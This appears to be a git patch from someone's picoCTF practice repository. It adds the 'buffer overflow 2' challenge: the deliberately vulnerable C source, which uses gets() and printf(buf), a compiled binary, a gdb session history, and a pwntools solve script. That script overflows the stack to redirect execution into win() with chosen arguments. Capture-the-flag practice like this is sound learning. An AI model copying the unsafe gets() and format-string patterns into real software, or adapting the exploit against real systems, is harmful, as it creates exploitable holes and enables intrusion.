From 13815ed35153389165973cdba596e373b7e1d6fe Mon Sep 17 00:00:00 2001 From: THEON-1 Date: Sat, 20 Dec 2025 21:23:48 +0100 Subject: [PATCH] buffer overflow 2 --- buffer_overflow_2/.gdb_history | 176 +++++++++++++++++++++++++++++++++ buffer_overflow_2/flag.txt | 1 + buffer_overflow_2/sol.py | 24 +++++ buffer_overflow_2/vuln | Bin 0 -> 15808 bytes buffer_overflow_2/vuln.c | 44 +++++++++ 5 files changed, 245 insertions(+) create mode 100644 buffer_overflow_2/.gdb_history create mode 100644 buffer_overflow_2/flag.txt create mode 100755 buffer_overflow_2/sol.py create mode 100755 buffer_overflow_2/vuln create mode 100644 buffer_overflow_2/vuln.c diff --git a/buffer_overflow_2/.gdb_history b/buffer_overflow_2/.gdb_history new file mode 100644 index 0000000..918d673 --- /dev/null +++ b/buffer_overflow_2/.gdb_history @@ -0,0 +1,176 @@ +r +exit +exit +disassemble vuln +b *vuln+44 +c +c +exit +b *vuln+44 +c +stackf +disassemble vuln +b *vuln+29 +exit +b *vuln+29 +c +b *vuln+29 +continue +disassemble vuln +b *vuln+44 +c +stackf +hexdump +hexdump +hexdump help +hexdump $sp 20 +hexdump $sp 20 +hexdump $sp 100 +hexdump $sp 120 +hexdump $sp 140 +hexdump $sp 160 +c +c +b *vuln+44 +c +stackf +disassemble win +b *win +c +stackf +disassemble win +b *win+11 +c +stackf +c +b *win+11 +c +c +exit +b *win+11 +c +stackf +nexti +exit +disassemble vuln +b *vuln+75 +c +disassemble vuln +b *vuln+57 +c +nexti +stackf +disassemble vuln +disassemble win +hexdump $ebp+0x08 +stackf +c +disassemble win +b *win+118 +c +c +exit +b *win+118 +c +b *vuln+57 +c +stackf +nexti +stackf +disassemble win +b *win+16 +c +stackf +disassemble win +stackf +hexdump $sp 100 +hexdump $sp 200 +c +c +b *win+16 +c +hexdump $sp 200 +stackf +c +c +c +exit +c +stackf +disassemble win +b *win+7 +exit +b *win+7 +c +stackf +hexdump $sp 200 +c +exit +b *win+7 +c +stackf +hexdump $sp 200 +disassemble *main +exit +b *win+7 +c +stackf +hexdump $sp 200 +disassemble *win +nexti +disassemble *win +nexti +disassemble *win +nexti +disassemble *win +hexdump $sp 200 +nexti +hexdump $sp 200 +c +c +exit +disassemble *win +b *win+118 +c +stackf +hexdump $sp 200 +disassemble *win +b *win+118 +c +hexdump $sp 200 +disassemble *win +hexdump $ebp +b *win+118 +c +disassemble *win +stackf +c +c +exit +b *win+118 +c +stackf +disassemble win +hexdump $ebp +hexdump $ebp+8 +nexti +nexti +stackf +b *win+118 +c +nexti +nexti +hexdump $ebp +hexdump $ebp+8 +hexdump $ebp+12 +c +b *win+118 +c +stackf +disassemble win +b *win+143 +c +disassemble win +nexti +c +exit diff --git a/buffer_overflow_2/flag.txt b/buffer_overflow_2/flag.txt new file mode 100644 index 0000000..f90365f --- /dev/null +++ b/buffer_overflow_2/flag.txt @@ -0,0 +1 @@ +{test} diff --git a/buffer_overflow_2/sol.py b/buffer_overflow_2/sol.py new file mode 100755 index 0000000..0a9a557 --- /dev/null +++ b/buffer_overflow_2/sol.py @@ -0,0 +1,24 @@ +#!/usr/bin/env python +from pwn import * +context.terminal = "kitty" + +win_address = 0x08049296 + +buffer_base = 0xfffe422c +ret_location = 0xfffe429c +ret_offset = ret_location - buffer_base + +ebp_offset = 112 +arg1 = 0xCAFEF00D +arg2 = 0xF00DF00D + +conn = remote("saturn.picoctf.net", 56706) +#conn = process("./vuln") +#attach(conn) + +conn.recvline() +conn.writeline(flat({ebp_offset+0x8:arg1, ebp_offset+0xc:arg2, ret_offset:win_address}, word_size=32)) +conn.recvline() +rest = conn.recvuntil(b'}') +log.info(f"got {rest}") + diff --git a/buffer_overflow_2/vuln b/buffer_overflow_2/vuln new file mode 100755 index 0000000000000000000000000000000000000000..accb967c62baf9a39e56548a7ce13c01279497fa GIT binary patch literal 15808 zcmeHOZERcB89x4KF~xP-HHuVWX-4)%4M zpu!SN2c_~97^=|3ScSG9o7AbBI@Td=OEKl^$JDX@7>FO;fXP*Z=xAZp+TlIVx%b#N zW|O8#lQ!v|_Vs(7^FHV6J?F;fT%YsJp7pCe9*u5V= zJ1|Ar?)t!tO~O728)ZIh6lL#)eN+=-6m6q?12&4XZ-gE2bAk1<+nZo_w*NfRD9n#) z#r3IV-}R|jODdVp4@YvD$TG{;2pfIB=8n6?4;KG;Ps>j?E||Q{)AjbPTdy8{{|`OP zAB514TZb3c;Ts)z7UH)$Fw46P;>Xz0FSGDZz~}w+^>U%F zyHn4Zv1D4$=Zu&zhLfge81*+N!Zuum%P*X`7|9sov^875B*$j*ka1YK|wv ztYi{H=My^+XIfZduP|vuIFDywIws#mYIHm};SXGb0>ac7_(p0>hB?%5$b4!{0*(3- zA)2TILNrrfD#TLi8A7yDbHcg7^?>UE*8{ExTo1S&a6RC9!1aLZf&U2)oNc)J!d->Q zK)Hkk|5)iPw#EAj=PQ-Uo(a=iIbL`ru(jlDXypb!R`r!d0em(r>=4YKAmP-XkSRVc zG4=xD)LS*oO~}k+fP&~y~V@sKZb4OF<%ijH1Z4}1>%6=7eo&ZfOfZ#09DbuzJbW#U@o^Qi6Ri9#WbS?WXnEn$ zzj-~!e|O&0UXo?KWnL-E3in!ty=4_3)rl(r7lYjb2 z=0d@kn48N>z#c1oy+sI2(_$fTQaWV@Rr&ePDiu_@x942p;d3Itq%i3(7B06K&6e6G ziJ$yk5(|^T9eAb1T$BDv{@jj^V$b2;@?S0M*u#ODXFhu~KX>fm;LI~K&*U4ymxLEB z!fF5bY0vn+Z5Q7t)mmtlpFnwIr6Wt(LhzsIE$^>ZC*dzFSj$;l-{i-DS022`UT!Q* zhRa>DkQ@rxSGb5S@56R|hj)kQE&s^MU5-Mtr?TZ}JpPvt)+#FW%bwnDv$vuQIp9U( z{C!)u6{8pBG?DEtKY-C2J2oAaZMg?d4(>g@Z+BC3`J)S!O7VL^Yu4^?>UE*8{ExTo1S&a6Rzf@c@3-lfM^cMLZQ9 zh?v8s$m~jMF{3X(Fpx|SXfk<*=uH{XoT2q+ji_m8*D3OKS~9JfiDXWTC9_7qnaPf5 zyOL%?8_DFeVo^?8lv7!av}t5zx|TEX8|lDGjdjoS-Fz=Jel8S;KB`ongWi6oQkj4j zf2maX8)XOd6VO+DT&bLZJ_3Cn`eW$%cx^Fs7JEVHlhDsWe*k?5n!krLcplm$Ji7y) zc|pJb38eFN1b?r84E5YhLiZ&BrtvkyA*9LQw-MJMcx51hXxAZV5elph1;5sCndu)E zx6Qq2$+D&|F<%1mEI0?C88pal$V#;P1!&O|3heQ&nmMhz;PdW3Rzfo*=KxGcz*$+x zNm~@zo>yS|EjSO6vo`1v>%!B#d9kX&mmi)U_IdNWz0spc?ksg4>q5bN^+Dgvfo}}v zk#(;R1t0fyhQiL54aw1J>Yu4^?>UE*8{Ex{_i|6{xr^c zL$I~Me%LxE&9mn`^PGCdAGivdXUXS5bKf%;5(MTxlK7L)Dw*a-{Q>TinhQ8b3%wSY z``RLe=ZU#@`T~T3`)-`R4)9!cFNAwlo&%djT9q4Z_WIJRCG71@o9Dp2xOhAr96n{-u*GjGV?!J85%xgDA z+9RzkZFz~>9$D5JX>E_REw<8Cj;We=1DImnIIzy!TbN$4&evO5dP@Z0PYYW+Px{-! z*6x)4wlKYKje~`8NEt!-$tOK21pR2)acCKV{3+WqsQf9$b_ z=Z75PFGBNqQkduMi7e|YP`ZI zea^A4<`&Vvrj_WlZZh28&I-mAo$z|Q*-Z`biZ1wMoJ z8+QAr@hzZnjmr#&|`#*ZmTDyd`-J68IX8oP3I@jxWu3mjt&t`pd=c@HR zELC1z>Cfe5i-Ct%ERW!Vi$2t^n~8k-fk@x5eI2HwLtSg(WtPwLh6EdKU7DG~HDXaS zs&36pvFNl|S7PMFo2kYr_hooRXR0}t%jk({I+il(uk(EFLeA8T)h^ScVi)e~*f)8c zGsyL0kZkgjju&}9#2 z^)`_+hlu1x2F++6w3)SZLd9?)$;b|gNIGL0k%4qR(w9%-{ur(y)slv?xWbe*N9?4| zRqI;J=zx&)L^PKWk=RHYRan~0T9%zgHkZt#rvM!`be4Q8GL$k!MEWa&Xe4L!i->99 zmxc&uIyf0Q$Ppu9&+SAEMJQxtwI;chL&Z@+bTEm+1~MoMA1og26|5DC5X+IEc=Em=cw958pm^($ zpm<#8aABw^613uNLHtv!`B*R4Kg~AJTJcysa-$HgTFB$Ni1#B;BF;L{1X&(eAxQ{V zSF${;hnfM3z$%c-@F0Y1PV%^pdJ#PKL)FW43h(K0jmkLJS0})0Mci30psa(dF7mkU z!cQV{ovX@YANb|FA41+L2-n4pF!Ul$9#=7n$M1i(Rp#e944rENR)IW*??M!h>$g_$ z4oQpk0VvD-p@YYD-ANb@SQPn59_1$xRUW^OM)75Hik-3pIShv(ipTHi6c+r}DomQI z +#include +#include +#include +#include + +#define BUFSIZE 100 +#define FLAGSIZE 64 + +void win(unsigned int arg1, unsigned int arg2) { + char buf[FLAGSIZE]; + FILE *f = fopen("flag.txt","r"); + if (f == NULL) { + printf("%s %s", "Please create 'flag.txt' in this directory with your", + "own debugging flag.\n"); + exit(0); + } + + fgets(buf,FLAGSIZE,f); + if (arg1 != 0xCAFEF00D) + return; + if (arg2 != 0xF00DF00D) + return; + printf(buf); +} + +void vuln(){ + char buf[BUFSIZE]; + gets(buf); + puts(buf); +} + +int main(int argc, char **argv){ + + setvbuf(stdout, NULL, _IONBF, 0); + + gid_t gid = getegid(); + setresgid(gid, gid, gid); + + puts("Please enter your string: "); + vuln(); + return 0; +} +